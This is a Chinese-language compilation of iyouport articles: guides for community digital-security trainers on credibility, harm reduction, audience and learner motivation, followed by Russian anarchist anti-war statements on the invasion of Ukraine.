如果您是数字安全领域的新手，请寻找已经在您的社区建立的当地数字权利团体。有时，您不知道自己不知道什么，参加分会会议、或与已经在该领域建立的爱好者、培训师和倡导者建立联系，是一个很好的开始。

中国大陆如果没有电子前沿联盟那样的团体，您可以与您所了解的数字安全爱好者交流一下，中文网络上应该有这方面的社区；或者您可以发邮件给我们，我们可以酌情帮助您联系到其他国家专业的数字安全培训师。

2. “我在我想要接触的社区中是否有足够的公信力”？

「图」

也许您已经确定了一个您想要开展培训的社区。如果您已经是该社区的一部分，并且在其成员中具有一定的公信力，那就最好不过了。

公信力很重要。也许您认为自己将要讲述的都是开源自由软件，但能够读懂源代码的人不会很多；对于普通用户来说，人们判断一个建议是否可信的最常规标准就是：推荐它的人是谁。

这些培训应该是教会您的邻居和朋友了解数字权利的重要性的一种基层方式，而不是在您不属于或不熟悉的社区出现中的方式，尤其是您还没有赢得他们的信任。

考虑到这一点，您在这个社区的角色是什么？社区内的领导人是否相信您是从事这个工作的合适人选？如果不是，您是否愿意花时间来建立这种信任？

3. “我是否有足够的时间致力于领导培训，并提供足够的后续服务？”

「图」

领导一个培训需要更多的时间，而不仅仅是培训本身。

培训师往往低估了安排活动、寻找场地、计划培训、与参与者沟通、

了解参与者的需求、根据他们的兴趣定制培训、以及提供充分的后续服务所需的工作量。

考虑到这一承诺，多位培训师联合进行可能是更好的选择—— 为每位培训师分配最恰当的任务，以尽可能发挥大家各自的专长。或者如果您没有时间，可以找您信任的人主持。

4. “我是否参加过有经验的安全培训师的数字安全培训并做过旁听？”

「图」

许多有抱负的培训师可能不知道有哪位培训师可以让他们跟随或共同主持培训—— 在某些情况下，甚至找不到他们可以参加的培训。因此，以下是一些建议。

在您自己举办培训之前，建议您：参加、跟随、和共同主持一个数字安全培训。

如果您参加过数字安全培训，那就太好了！但是，如果您认真对待数字安全培训，那么您就会发现您的工作是非常重要的。但是，如果您对教学很认真的话，建议您亲自去旁听和共同主持一次数字安全培训。

跟随一位资深的培训师，从培训师的角度来观察数字安全培训。您需要准确了解由有经验的人所教授的*完整的*数字安全培训—— 从准备工作到后续工作。做笔记，并记下整个培训过程中出现的任何问题。考虑您自己独特的技能组合，详细计划您可能会如何进行培训。培训结束后，立即安排与培训师进行汇报，回顾您的问题。

一旦您见证了一次培训，就与一位资深培训师共同主持培训，他可以帮助指导您的教学，并对常见的培训误区提供见解。

在共同主持培训时，重要的是要与那些能赞美您自己的教学风格的人合作，并确保您能赞美他们的风格。

再次，记下整个培训过程中出现的问题，并在培训结束后立即安排一次汇报，与培训师一起回顾这些问题。

5. “在这个空间里，是否有其他人更适合担任培训师的角色？”

「图」

在您挖掘了当地的数字权利社区并参加和跟随了实地的培训之后，也许您已经发现有人更适合领导您计划的培训。

这也没关系。记住，即使您不是主要的培训师，您仍然可以作出贡献。您可以提供您的空间，帮助培训准备工作，共同主持培训，或者，如果您对小团体的互动比较满意，可以主持“办公时间”，以回答数字安全问题。

📌 您可以提供帮助的一个主要方式是让自己可以回答这类后续问题：当学习者开始探索他们在培训中发展的技能时，他们可能希望在提高数字安全意识的活动范围之外深入研究。 您可以在帮助他们理解一个工具的细微差别，或为更具体的场景进行规划方面发挥宝贵的作用。

最后

「图」

如果您有此热情，尤其是有此专长，希望帮助您所在的社区、身边的朋友、队友、同事提高数字安全技能，欢迎和我们联系！我们将为您提供帮助。〇

—— 未完待续 ——

原文

（49）你的良好建议必需让人们能听进去 - iyouport

培训师指南

（2019年8月2日存档）联合很重要，只有我们彼此照应和协作时，才能抵挡技术专制的严冬。如果您有能力，并愿意成为领导者以提供帮助，这里有一些您需要了解的知识，以便获得更大的成功。

如果您对数字安全感兴趣并愿意与他人分享您的知识，您可能会对在社区中领导数字安全培训的前景感到兴奋。有时候，很难知道从哪里开始，或者你是否适合这份工作。

在决定是否领导数字安全培训之前，请先问自己以下这些问题：# 我是否与其他数字安全培训师或本地数字安全组进行了交谈？

- 我想在社区内获得公信力吗？
- 我是否有足够的时间承诺举办培训，并提供充分的跟进？
- 我是否有参加过经验丰富的安全培训师组织的数字安全培训？
- 在这个领域是否有其他人更适合培训师的角色？

以下逐一分析这些问题。

1、如果您是数字安全方面的新手，请寻找已经在您社区中建立了的本地数字权利组织。的确需要寻找，因为这些组织可能很隐秘。请参加他们的会议，和爱好者建立联系。和已经在该领域建立公信力的倡导者形成联盟，是一个很好的起点。

2、也许你已经确定了一个想要培训的社区。如果您已经是该社区的一部分，并且对其成员具有一定的公信力，那将是最好的。这些培训应该是一种基层的方式，从你的邻居和朋友开始，告诉他们关于数字权利的重要性，而不是一开始就出现在你不属于或不熟悉的社区，以及你尚未获得的信任的方式。考虑到这一点，您在这个社区中的角色是什么？社区内的领导者是否认为您是合适的人选？如果还没有，你

愿意花时间建立这种信任吗？

3、领导培训需要的时间要多于培训本身。培训师往往低估了安排活动、寻找场地、计划培训、与参加者沟通、了解与会者的需求、以及为他们的兴趣量身定制培训所需的庞大工作量，也许因此难以提供充分的跟进。如果您没有时间，可以邀请您信任的其他人代劳。

4、在您自己进行培训之前，我们建议您参加和共同促进数字安全培训。通过观察一个完整的数字培训过程—— 从准备到后续，由有经验的人主持—— 您可以记下整个过程，及其中出现的问题和解决方式。

以您的专长领域为基础，制作您的培训模式。在培训结束后审核您的问题是否有了充分的答案。

您可以与经验丰富的培训师共同进行培训，培训师可以帮助指导您的教学并深入了解常见的培训陷阱。与喜欢您自己的教学风格的人合作非常重要，可以互相促进。再次记下整个培训过程中出现的问题，并在培训结束后立即安排汇报，与其他培训师一起审核。

在您进入当地的数字权利社区并参加培训后，您可能已经找到了一个更适合领导培训的人，或者那个人就是您自己。请记住，即使您不是主要培训师，仍然可以做出贡献。您可以提供空间、协助培训准备，共同促进培训，或者，如果您对较小的团队互动更加满意，可以主持小的交流组来回答人们提出的数字安全问题。

您可以提供帮助的一个主要方式是让自己适应这些类型的后续问题：当学习者开始探索他们在培训期间发展的技能时，他们可能希望深入了解可以提高认识的数字安全事件的范围。您可以在帮助他们了解工具的细微差别或规划更具体的方案方面发挥重要作用。

风险规避——

改变一个人的风险状况的思路并不总是可能的，在这种情况下，重要的是要满足他们目前所处的环境的相对需求，而不是我们认为他们应该在什么层次上。

要遵循的一些原则是：

每个人都应该享受数字安全和隐私权：听到安全行业的人说如果你不使用某种产品或者你没有遵循某种最佳的做法，那么“你不可能得到安全感”这种情况并不少见。您可能认为活动家不应该使用

Facebook，由于其臭名昭著的审查和监控问题，你是对的，但是，如果活动家仍然使用该平台，只因为该平台可以帮助活动家以一种非常有效的方式来接触他们的受众，您就应该给他们建议，使他们尽可能在 Facebook 上保持安全。

不良的安全习惯或隐私惯例不是可耻的：每个人都犯下过数字隐私或安全方面的错误，包括培训师自己。在培训期间如果你侮辱或羞辱那些承认了自己的错误的人们，其他人就不太可能说出自己的做法了。不如直接谈论你自己的数字安全缺陷，有时是一个很好的突破，有助于让每个人都感到更舒服。

提高数字安全性是一个过程：当人们最近掌握了关于需要做些什么来改善自己的数字安全和隐私状况时，可能会在一开始感到不知所措。作为培训师您应该鼓励人们不要对自己太过苛刻，并将改善安全习惯视为一个需要努力的过程。没有人会在一天或一周内掌握所有东西，作为降低伤害的一部分，重要的是培训安全意识、鼓励人们采取进一步措施并巩固更好的习惯。

安全是一项集体任务：由于我们的数字生活本身是交织在一起的，因此提醒人们对彼此的安全和隐私负责是很重要的。当我们了解彼此的隐私偏好时，就会集体互相支持。我们可以通过彼此协调来减少威胁和漏洞，这些威胁和漏洞会影响我们作为同事、家庭成员，甚至只是使用同一个咖啡馆 Wi-Fi 来浏览网络的周边人。当您发现其他人有不安全的设置或泄露个人数据的不安全使用习惯时，您可以告诉他们；如果您不希望在社交媒体上被标记照片，请让其他人知道；如果您看到父母的密码不够安全，请花时间解释如何创建更强大的密码；有数百万种方法可以帮助减少数字安全习惯不良带来的危害，并建立更好的安全文化。合作和交流是非常重要的基础工作。

了解您的受众——

检查您与培训对象之间的关系，以确保清晰的沟通，准确理解他们的观点，并灵活地处理不同的经验水平：他们关心的是什么？他们如何理解技术和安全？他们说什么语言？他们的背景是什么？他们使用什么类型的设备或软件？他们可以访问哪些资源？

首先，重要的是要反思你与培训对象的关系。他们是你的朋友、邻居还是同事吗？来自与您相同的社区吗？如果是，您可能已经很好地了解了他们的来源以及安全培训如何最好地为他们服务。

另一方面，如果您的受众群体是您陌生的群体，请考虑您是否或如何

被邀请加入并提供安全培训的。如果是被邀请来的，确保您的培训计划反映了您的邀请，并在您不确定时提出问题。

其次，寻找可以帮助您了解受众群的人。如果您来自与受众相同的社区，那么您可能已经可以更好地了解人们，或者熟悉了解其不同部分或方面的人。

如果您准备培训不属于您自己的社区，请首先确保该社区中没有人比您更适合提供培训，否则您有可能很难获得公信力。然后，与邀请您的人或组织联系以获取更多信息。特别要问他们是否可以建议该社区的指南或共同协调人。最好是与社区成员或非常了解该团体的人一起策划和促进您的培训。

如果您可以在培训之前与学员联系，那么通过调查可能有助于了解有关特定设备、操作系统和他们使用的应用程序的更多信息，以及了解他们的疑虑和问题。也就是说，准备好在实际训练开始时保持灵活性和开放性。如果您已经准备好了根据需要进行调整，在整个培训过程中继续了解受众的需求，您将成为最好的培训师。

当然，有时参加安全培训的受众是多种多样的，来自许多不同的社区，并且不会事先单独接触到。如果您在公共图书馆运行“开放给所有人”的培训，情况尤其如此。在这种情况下，您可以尝试在学习者中找到共同点。

从诸如“您今天为什么对此培训感兴趣？”之类的问题开始，或者，通过要求人们举手以了解受众中使用某些设备和软件程序的程度，例如：“如果您使用 Android，请举手”，或“如果您以前从未听说过端到端加密，请举手。”

了解您的受众也可以在培训开始之前建立信任。全面了解您的受众群体的努力可以证明您对他们的关注点的投资，并为高效的培训定下基调。

不要单枪匹马——

安全培训是一项具有挑战性和引导谦逊的体验。您越是了解进行良好安全培训所需的内容，您就会越担心自己没有掌握所有技能。

您可能觉得自己没有足够的技术来教授数字安全科目，但您确实理解了受众面临的风险；或者您可能具有足够的技术背景，但不确定哪种工具或实践最适合特定人群。您可能会对与特定受众交谈感到紧张，

并希望与拥有自己的专家和顾问的人更紧密地合作；或者，您可能来自与您合作的社区并拥有技术专长，但您很快意识到，便利化是一种既简单又不容易的艺术……

看起来完美是很不容易做到的，好消息是您不必独自进行安全培训。超级英雄本身就很强大，但是当他们组队并将各自的技能结合起来时，他们会变得更加强大。所以 ，您应该组建最适合您和您的参与者的超级英雄团队。

您可以选择技能与您相辅相成的合作伙伴。如果您对技术问题感到满意，但对您即将培训的社区了解不多，您可能希望找到来自该社区或熟悉您的参与者的人；如果您正在教授一个非常熟悉的社区，但您对自己的技术技能没有信心，那么您可以与技术更高的同事合作。有许多超级英雄团队一直在帮助活动家在世界各地保持安全。团队合作时间越长，个人和集体之间的关系就越好。

你在哪里找到这些人？

如果您正在寻找具有更多技术经验的人，您可能希望寻找已经与之合作的活动家和民间社会团体—— 他们可能没有正式领导培训，但他们可能非常熟悉您的受众面对的威胁、挑战和需求。他们可能是工程师、自学成才的技术人员，他们为社区提供非正式的支持，或者只是亲戚和朋友。您还可以查看当地的黑客空间或联系您所在地区的技术社区成员。

你与其他人的合作训练越多，优势就越大，你学到的东西就越多，你的技能就会越广泛。一旦您成为一名自信且经验丰富的培训师，您就可以开始与刚刚入门的培训师进行联合教学。分享您来之不易的知识会很令人兴奋。

好了，希望您的培训计划是最出色的。只有我们彼此照应和协作时，才能抵挡技术专制的严冬。

原文

（55）如何消解冷漠和虚无主义？传授安全知识的可行性方法 - iyouport

培训师指南

（2019年6月20日存档）社会工作经常比技术工作更复杂，我们可能需要一点窍门

数字安全并不是一个可选的话题，也不是必须固定提供给某些群体和社区的能力和资源；它是如今所有人都会面对的无处不在的威胁的唯一解决方案，即便不是敏感人士、不是政府的攻击目标，您也无法确保自己不是骇客、恶意行为者和各种勒索软件的目标。

安全知识应该是给所有人的，因为如今所有人都在互联网上，绝大多数人使用着相同的软件和设备。虽然我们应该鼓励由专业人士组成的快速响应协助组等方案，但仅仅是这样可能还不够，我们应该追求让更多人理解并熟练使用现成的技术来保护自己，这样才能从跟不上避免大部分威胁。

于是，安全知识培训在任何国家都是必不可少的基础设施。但是参与培训项目的工作人员往往会遇到很多难题，导致工作进展缓慢，甚至完全无效。在中国我们曾经听说过协助者帮助异议人士去除了不安全应用并安装了 Tor，但没过多久他们又装回了360。

安全知识培训就是要避免这样的事发生。我们的目标并不是让人们仅仅知道该用什么不该用什么，而是要最终促成一种安全的思考方式，让人们能够主动去想到自己需要保护什么，以及如何做，或者通过什么渠道获得援助。

那么组织一场安全知识培训，除了丰富的知识之外，您还需要些什么？

如果您的受众没有动力参与和学习，即使是最好的计划、最专业的培训，结果也很难进行。有时，作为培训师，您不仅要解释数字安全的内容和方式，还要解释原因；关于参与者为什么要关心数字安全？而且，要让人们知道，他们为什么要采取行动来发展个人安全？

并不是每一位长期遭受当局恐吓威胁的人都能够深刻理解数字安全的重要性。在中国，这似乎不需要过多解释了，所有人都能看到敏感人士对实名制的热忱。于是这就是培训师需要面对的挑战。

除了一般的提示和技巧之外，您可能会遇到几种类型的学习者，他们需要额外的动力才能激发关心和行动。

激励受众的最佳方式是：真诚和善解人意。准备好一些你自己的现实经历也许会很好用。

您是否偶然点击了网络钓鱼链接？有没有使用过不太强的密码？是什么促使你学习更多或改变你的习惯？关于你自己的教训和经验的故事可以更快速地与你的听众之间建立信任，并鼓励他们思考自己的动机。

但是，请注意，要避免让你的故事听起来太可怕或令人生畏。恐惧是动机杀手，可能导致“安全瘫痪”或其他类型的虚无主义。有动力的学习者应该在理想情况下感受到能力和积极性，而不是无助。

最后，要注意学习者在整个培训过程中如何处理概念和任务。人们很可能出现以下几种态度（甚至更多！），并且，你发现和回应学习者的动机的效果越好，他们就越有动力开始学习和行动。所以，掌握最常见的抵触性动机的应对方式是必要的。

我们先来看四个最常见的抵触—— 在中国和全球很多国家都同样的常见。

1、冷漠

“我没什么可隐瞒的”。你一定反复听过这样的话，对吧？

具有这种态度的学习者通常不会在他们的数字隐私和安全方面感受到个人利害关系，因此不会理解到采取行动的迫切性。他们可能会将数字安全概念与高调的国家行为者、告密者和公众人物联系起来，而不是像他们自己这样的“普通”人。

那么这样的时候作为培训师，你可以怎么办？

谈论威胁建模应该作为第一步—— 问题“你想保护什么？”—— 可以帮助指导这类学习者找到自己在数字安全方面的利益。一个共同的动机可以是提醒学习者在亚马逊、PayPal 或 Venmo 等任何商业网站上保护信用卡和银行账户信息安全的重要性。通常在“人物搜索”网站上

找到的信息—— 如全名、家庭住址和家庭关系等—— 都可能成为学习的警示和激励。

IYP 在社交工程学演示中介绍过诸多信息挖掘工具，都可以派上用场，将学习者遗漏的面包屑摆在他们面前，人们就有可能会开始重视隐私问题。

参考下面的演示：

- 《⚠ 浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》

“没有什么可隐瞒的”变得如此占据主导地位，这在任何国家都一样，以至于当我们谈论隐私时，我们都忘记了是什么在起作用，这也是很常见的。如果您要涵盖与隐私相关的主题，或者您认为冷漠最有可能是参与者之间的共同反应，那么您可能需要将一个对话或活动包含进去，以探讨隐私是什么，以及它对人们意味着什么。

最后，有时最初冷漠的学习者会根据自己的威胁模型做出合理的决定。确定了他们想要保护的内容，人们就会主动去衡量自己面对的风险，他们可能只是决定某种隐私保护不值得他们花费大量的时间、资源或精力。您作为培训师的工作不是要“说服”他们“应该”采取某些行动，而是帮助他们做出明智的决定。

2、安全瘫痪

“数字安全威胁已经到了不堪重负的程度，黑客几乎无所不能，我完全不知道该从哪里开始“。这样的态度也为数不少。

这种学习者可能会关心数字安全，但却在一开始就受到了太多惊吓。互联网上的信息和知识真的是有点铺天盖地了，通常，具有这种态度的学习者会被保护其个人信息的任务所淹没。正因此，信息流通没能起到作用。

也许他们受到了有关泄密和数据泄露的新闻报道的轰炸，或者有经历过针对个人的骚扰、围观了亲朋好友的被骚扰经历。他们甚至可能在过去接触过基于恐吓的培训，这使他们面对各种数字威胁时感到不知所措和无助。

在这种情况下，强调一对一的协助可能会有效。同时，承认现实中很可能无法在线控制一个人的所有信息—— 这没关系。相反，我们可以将目标从删除所有个人信息转移到最小化我们的数据面包屑。

采取的第一步可能包括谷歌搜索自己（可能要在一个值得信赖的朋友的支持下，以帮助减轻与此相关的任何恐惧），调查社交媒体设置，或在人物查询网站上选择退出选项。

我们的任务是尽可能地了解被在线提供的关于我们自己的信息，然后根据我们关心和担心的事来减少它。如果我们可以最大限度上减少这些能控制我们的信息，那么当我们使用的公司服务或社交媒体平台出现数据泄漏时，我们就能处于更有利的位置，鼓励人们更改其默认设置。

3、技术混乱

“除非我先弄清这些技术概念究竟都是些什么，否则我无法采取行动“。这样的初始态度也比较常见。

这种学习者可能在技术上不堪重负。他们了解不同类型的设备、操作系统、应用程序、软件、浏览器扩展和加密。虽然他们有丰富的信息，但他们不知道从哪里开始，或者无法确切地知道所有这些事是如何联系起来的。

通常，这些学习者在技术方面的经验比普通培训师少，但他们注重细节并且谨慎。他们可能是老年人，或来自资源匮乏的背景，这些背景导致他们无法始终如一地使用尖端设备和软件。就像安全瘫痪那样，这样的学习者通常不知道从哪里开始。

作为培训师，您可以帮助他们专注于技术背后的安全原则。技术变化很快并且可能令人困惑，但基本的安全原则—— 威胁建模/风险评估、权衡、什么最重要和应该信任什么—— 都可以作为技术变革和发展的坚定指南。

尤其是，需要强调安全不仅仅是工具问题，而是一种需要随着时间的推移采取的“安全心态”。

4、虚无主义

“黑客什么都能做到，从来没有绝对的安全。那么我为什么还要斤斤计较？“这类态度如今越来越常见了。详见这篇文章中的分析《什么是高峰冷漠？从白宫到微信》

有这种态度的学习者很可能是曾经关心过威胁情报或者受到过不专业的训练，但也很可能因为他们真的不知道该怎么做。或许更准确地说，他们并不认为自己有能力做多少事。

对这样的学习者来说，可以使用的一个常用概念是“门锁安全”。让他们思考自己家门口的锁。它可能是正常的锁舌。指出该锁可以通过多种方式受到损害，如果有人决定突破那扇门，他们可能就会做到。但是你仍然需要定期锁门，并在这种基本的安全水平上找到更多的保证。

您甚至可以将类比扩展到更大的安全层。也许你可以想象一个家里有特别昂贵物品的人拥有一个安全系统保护自己家的周边。或者，也许他们在房子里面有一个保险箱可以存放贵重物品和重要文件。

鼓励学习者以类似的方式接近数字安全。相当于“门锁”的数字安全性可能是容易想象的、合理的且值得使用的，即使它是不完美和不完整的。对于更高价值的资产，还可以实施额外的安全层（类似于保险箱或家庭安全系统）。

强调完全可以实现的目标非常重要，如果你强调那些不安全的或更昂贵的目标，人们有可能最先意识到的是障碍，而不是可行性。

最后

将知识写成文章或许通过互联网能得到有效的传播，但是不一定就能起到切实的作用，就如 IYP 在社交工程学演示中所强调的那样，关键在于实践，当您在尝试和练习这些方法后就能摸索到更多属于自己的技巧，您将在安全领域更加娴熟。

思考方式培养也许是最高效的一种路径。还是那句话：如果你不想被攻击，那么就要像攻击者那样去思考。

一些小游戏的邀请都能是很好的办法，比如邀请人们构建攻击树，关于如何偷一辆汽车？如何不买票进入电影院？如何获得一个人的银行账户和密码？如何伪装成目标的熟人发送钓鱼电子邮件？等等，可以是任何题目，这样是为了通过激发人们去思考攻击者的想法，以获得保护性措施的灵感。

构建攻击树的游戏可以将所有现实中的安全保护联系起来，能做到更直观，更易于接受。

任何一种安全系统的安全性都取决于它最脆弱的环节。攻击树思考方式可以引领人们去重点探索那些最脆弱的部分，从而理解自己该怎么做才能避免损失。

原文

"人民的自由，帝国去死" - 俄罗斯无政府主义者对局势的分析 5️⃣ - iyouport

乌克兰战争

声援乌克兰人民，而不是乌克兰政权！

欢迎回来！这里是第5集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》
- 《当你处在双面夹击的火力之下 3️⃣》
- 《"反对所有边界，抵制所有帝国，对抗所有战争" - 东西方冲突中的乌克兰 4️⃣》

随着俄罗斯入侵乌克兰的进程，俄罗斯各地的无政府主义者继续动员起来进行抗议，与成千上万的其他俄罗斯人一起抵抗战争。本文将发表两份来自俄罗斯长期无政府主义行动项目的声明，对俄罗斯的局势、以及入侵乌克兰可能带来的转变，进行一些分析。

在入侵过程中，俄罗斯本身已经成为一个信息战场。俄罗斯政府试图阻断对推特的访问，这样俄罗斯人就无法看到在乌克兰发生了什么，或者，在俄罗斯其他地方发生了什么。在街垒的另一边，克里姆林宫的网站被黑了。俄罗斯人民是否决定以巨大的代价支持这次入侵，或者以巨大的风险反对普京的议程，很可能决定乌克兰的长期状况。

> “和平是保留给那些有能力不参加统治阶级创造的战争的人的特权—— 在疯子的眼中，我们这些人只是图表上的数字，只是统治阶级走向世界霸权的道路上的障碍物。”

今天在德国、瑞士和世界其他地方的声援行动继续进行。以下是仅举几例。

无政府主义活动家对俄罗斯攻击乌克兰的立场

「图」

以下声明昨天出现在 *Militant Anarchist[Боец Анархист]* 的 *Telegram* 频道上，这是俄罗斯的一个集体，曾翻译为 “无政府主义战士”。

我们对在乌克兰发生的事件的立场在我们以前的帖子中是很明显的。然而，我们认为有必要明确地表达出来，这样就不会有遗漏之处。

我们，无政府主义战士的集体，绝不是乌克兰国家的粉丝。我们过去曾多次批评这个国家，支持反对它，我们的立场也曾是乌克兰间谍部门为打击我们而对 vSIM 运营商进行大规模镇压的原因。（更多信息在此处）

而在未来，当俄罗斯征服的威胁消退后，我们一定会回到这个政策上来。无政府主义者反对国家，所有国家都是集中营。

但现在，在乌克兰发生的事情超出了这个简单的公式，也超出了每个无政府主义者都应该在战争中为国家的失败而战的原则。

因为这不是简单的两个大致相等的大国之间关于资本势力范围再分配的战争，在这种情况下适用埃斯科瓦尔的名言。

【注：埃斯科瓦尔是乌克兰一个名为 Bredor 的摇滚乐队的主唱。很久以前，在一次采访中，他说了一句著名的话，之后这句话成了一个热门 meme：“Шо то хуйня, шо это хуйня”—— 大意类似于阿桑奇在描述2016年美国大选没有黑马的状况时所说的 “就像在淋病和霍乱中进行选择”。也就是，当您被迫在两个选项之间做出选择而没有任何选择时的状况。】

现在在乌克兰发生的事是帝国主义的侵略行为：这种侵略如果成功，将导致各地的自由度严重下降—— 在乌克兰，在俄罗斯，也可能在其他任何国家。而且它还将增加战争的继续，并有可能升级为全球战争的可能性。

就我们而言，为什么在乌克兰会出现这种情况是很明显的。但在俄罗斯，一场小规模的胜利战争（加上外部制裁）将给该政权带来它目前所缺乏的东西。由于部分民众的爱国主义情绪高涨，这将给统治阶级提供采取任何行动的全权委托。而且他们将能够把任何经济问题归咎于制裁和战争。

在目前的情况下，俄罗斯的失败将增加人们觉醒的可能性，就像1905年[俄罗斯帝国在日俄战争失败后，导致了俄罗斯的起义]，或1917年

[俄罗斯在第一次世界大战中的问题导致了俄罗斯革命]所发生的那样 —— 睁开眼睛看看这个国家正在发生什么。

至于乌克兰，它的胜利也将为加强基层民主铺平道路 —— 毕竟，如果要实现民主，也只能通过民众的自我组织、互助和集体抵抗。这些应该是对战争给社会带来的挑战的回答。

此外，一旦战争结束，为这种基层自我组织创造的结构也不会消失。

当然，胜利并不能解决乌克兰社会的问题—— 这些问题必须通过利用在这种动荡之后的政权不稳定中为社会的巩固所提供的机会来解决。

然而，失败不仅不能解决这些问题，而且会使它们恶化许多倍。

尽管所有这些都是我们决定在这场冲突中支持乌克兰的重要原因——让我们称之为地缘政治的原因。但它们甚至不是主要原因。最重要的原因是内部道德原因：因为简单的事实是，俄罗斯是侵略者，它奉行的是公开的法西斯政策。它把战争称为 “和平”。俄罗斯撒谎和杀戮。

由于它的侵略行为，冲突双方都有人在死亡和受苦。是的，甚至包括那些现在被赶进战争绞肉机的士兵（不包括那些认为 “战争是自然天性” 的混蛋，在我们看来，他们根本就不是人）。这种情况将继续下去，直到它被制止。

因此，我们敦促每一个读到这篇文章的人，只要不是没有感情的人，都要声援乌克兰人民（而不是乌克兰国家！！），支持乌克兰人民为争取自由而反对普京的暴政的斗争。

我们生活在历史性的时代，这是我们的责任。我们有责任使历史的这一页不要成为耻辱的一页，而是我们可以感到自豪的一页。

自由属于全世界的人民! 和平属于乌克兰人民! 反对普京的侵略! 拒绝战争!反战抗议者在莫斯科打着横幅游行。2月24日晚，无政府主义者打着这面旗帜反复游行。据报道，即使在警察驱散了主要的示威活动，进行了多次逮捕之后，无政府主义者不断重新集结，再次游行，直到警察暴力逮捕他们。在俄罗斯，抗议者所表现出的勇气令人全世界的旁观者惭愧。

黎明前的黄昏

「图」

以下文字以俄语播客的形式出现在 Autonomous Action 网站上。

战争

「图」

周四上午，普京在欧洲发动了二战以来最大的战争。他躲在顿巴斯分离主义部分的所谓利益背后。尽管顿涅茨克和卢甘斯克对其国家地位的承认、对俄罗斯军队的正式进入和承诺的一万五千亿卢布绝对满意。回顾一下，许多个月以来，俄罗斯本身的房租和食品价格都在逐日飞涨。

克里姆林宫向基辅当局提出了荒唐的要求 —— 先说所谓的 “去纳粹化”。诚然，由于积极参与了2014年的乌克兰亲欧盟示威抗议活动，乌克兰极右翼在政治和执法机构中获得了超然的地位。但在2014年以来乌克兰的所有选举中，他们赢得的选票都没有超过几个百分点。乌克兰总统是犹太人。乌克兰极右翼的问题必须得到解决，但不能用俄罗斯的坦克来解决。克里姆林宫对乌克兰的其他指控—— 关于腐败、操纵选举和不诚实的法院—— 更像是俄罗斯的实际情况。现在，俄罗斯军队在完全意义上是外国土地上的占领者，无论这与那些在 “伟大的卫国战争故事” 中长大的人的期望有多大的矛盾。

俄罗斯已经发现自己处于国际孤立状态。土耳其的埃尔多安、中国的习近平、甚至塔利班，都要求普京停止敌对行动。欧洲和美国每天都对俄罗斯实施新的制裁。

本文写于战争的第三天。俄罗斯军队对乌克兰军队有明显的优势，但是，战争似乎并没有完全按照普京的计划进行。显然，他指望在一两天内取得胜利，几乎没有抵抗，但是在乌克兰全境发生了严重战斗。

俄罗斯人和整个世界现在都在观看视频，显示炮弹击中居民楼，一辆装甲车碾过一位老人，无数的尸体和接连不断的枪声。

Roskomnadzor [俄罗斯联邦政府的通信、信息技术和大众传媒监督局] 仍然试图威胁整个互联网，要求 “不要把这称为战争，而是一个特别行动”。但基本上没人搭理他们了。只要俄罗斯的互联网没有被完全关闭，就会有足够的信息来源。为了以防万一，我们再次建议提前设置带桥接的Tor、VPN 和 Psiphon。

俄罗斯人刚刚开始感受到制裁和战争的影响。星期五，莫斯科的大多数自动取款机都没有纸币了。为什么？因为前一天，人们从银行取走了1110亿卢布：事实上，是他们所有的储蓄。房地产市场崩溃了，住宅楼的建设是俄罗斯经济最重要的分支。外国汽车工业逐渐停止向俄罗斯运送汽车。美元和欧元的汇率受到中央银行的人为限制。所有俄罗斯公司的股票都严重下跌。大家都明白，情况只会越来越糟。

俄罗斯防暴警察逮捕了一名口罩上写着“不要战争”的示威者。

只有普京想要这个

「图」

俄罗斯对乌克兰战争的反应与2014年[乌克兰革命后俄罗斯夺取克里米亚]发生的情况完全不同。这一次，许多人，包括为政府工作的政治名人，都要求立即结束战争。值得注意的是，俄罗斯电视界的领军人物伊万·乌尔甘特被免职。

绝大多数仍然支持普京的人也在反对战争。普通的普京支持者认为，一切都已经计算好了，战争不会拖得太久，俄罗斯经济会生存下去。因为是的，要认识到你的国家是由一个精神错乱的人统治的—— 由拥有世界上最强大的军队之一的唐吉诃德统治的，拥有能够摧毁全人类的核武器的唐吉诃德统治的，这并不容易。即便只是读了一点二流的政治学家和哲学家的理论，也无法想象这般的疯狂—— 轰炸一个相邻的兄弟国家，并摧毁自己的经济。

普京陶醉于无限的权力，逐渐远离了现实：有关于普通人因某种原因需要与俄罗斯总统会面而被隔离两周的故事，还有普京接待其部长和其他国家元首的巨大桌子。

普京一直是一个平衡安全部队和寡头利益的政客。现在，他已经走出了这个角色，在无边无际的衰老之海中独自航行。我们准备赌一瓶最好的威士忌，在不久的将来，普京可能会经历一场来自他自己内部圈子的政变。

俄罗斯可能会在2023年遇到一些其他的权力体系和克里姆林宫中的不同人物。它将是什么还不得而知。但就目前而言，这是黎明前的黄昏。

与此同时，俄罗斯正在发生许多的反战抗议活动。无政府主义者在莫斯科、圣彼得堡、喀山、彼尔姆、伊尔库茨克、叶卡捷琳堡和其他城

市参加了这些抗议活动。在俄罗斯，组织街头抗议活动是非常困难的；这充满了行政和刑事条款，更不用说老式的警察暴力了。但人们还是走出来了。现在数千人已经被拘留，但抗议活动仍在继续。

俄罗斯反对这场战争，反对普京。出来吧—— 在你认为合适的任何时间和地点。与朋友和志同道合的人组队。社交网络建议周日下午4点为全面抗议行动的时间。这个日子和时间并不比其他任何日子差。从我们的网站和社交网络下载反战传单，以便分发和张贴!反对入侵的俄罗斯传单上写着 “你正在为普京的战争买单—— 税收、封闭边界、贫困、服务障碍、信息真空 —— 不要战争！”、“对乌克兰的军事入侵说不：人民的和平，统治者的战争。”

同时，乌克兰的无政府主义者正在加入到他们城市的领土防卫中。现在对他们来说比对俄罗斯人来说更难，但这是同一种防御。这是捍卫自由反对独裁，捍卫意志反对束缚，捍卫正常人反对疯癫总统的战斗。

如果普京因某种奇迹而突然清醒过来，战争在这些天中结束，我们是否准备好像法国人说的那样 “回到现实中”？很可能我们会被踢出欧洲委员会。因此，俄罗斯政治犯将失去向欧洲人权法院申请的机会，很快克里姆林宫将恢复死刑。

现在，我们将本着最近几年的精神回到新闻上来：国家杜马[俄罗斯执政议会的一个立法机构]正在通过一项法律，根据这项法律，征兵者必须自己到征兵办公室来，而不是等待传票。普京最近还提高了警察的工资。检察院在上诉中要求将在著名的所谓 “Minecraft恐怖主义案件” 中被定罪的坎斯克无政府主义者尼基塔·乌瓦罗夫的刑期从五年增加到九年。

你自己知道该如何处理这一切。

人民的自由! 帝国去死吧! 警察抓捕了一名手持“我反对战争”标语牌的被捕者。

○□

原文

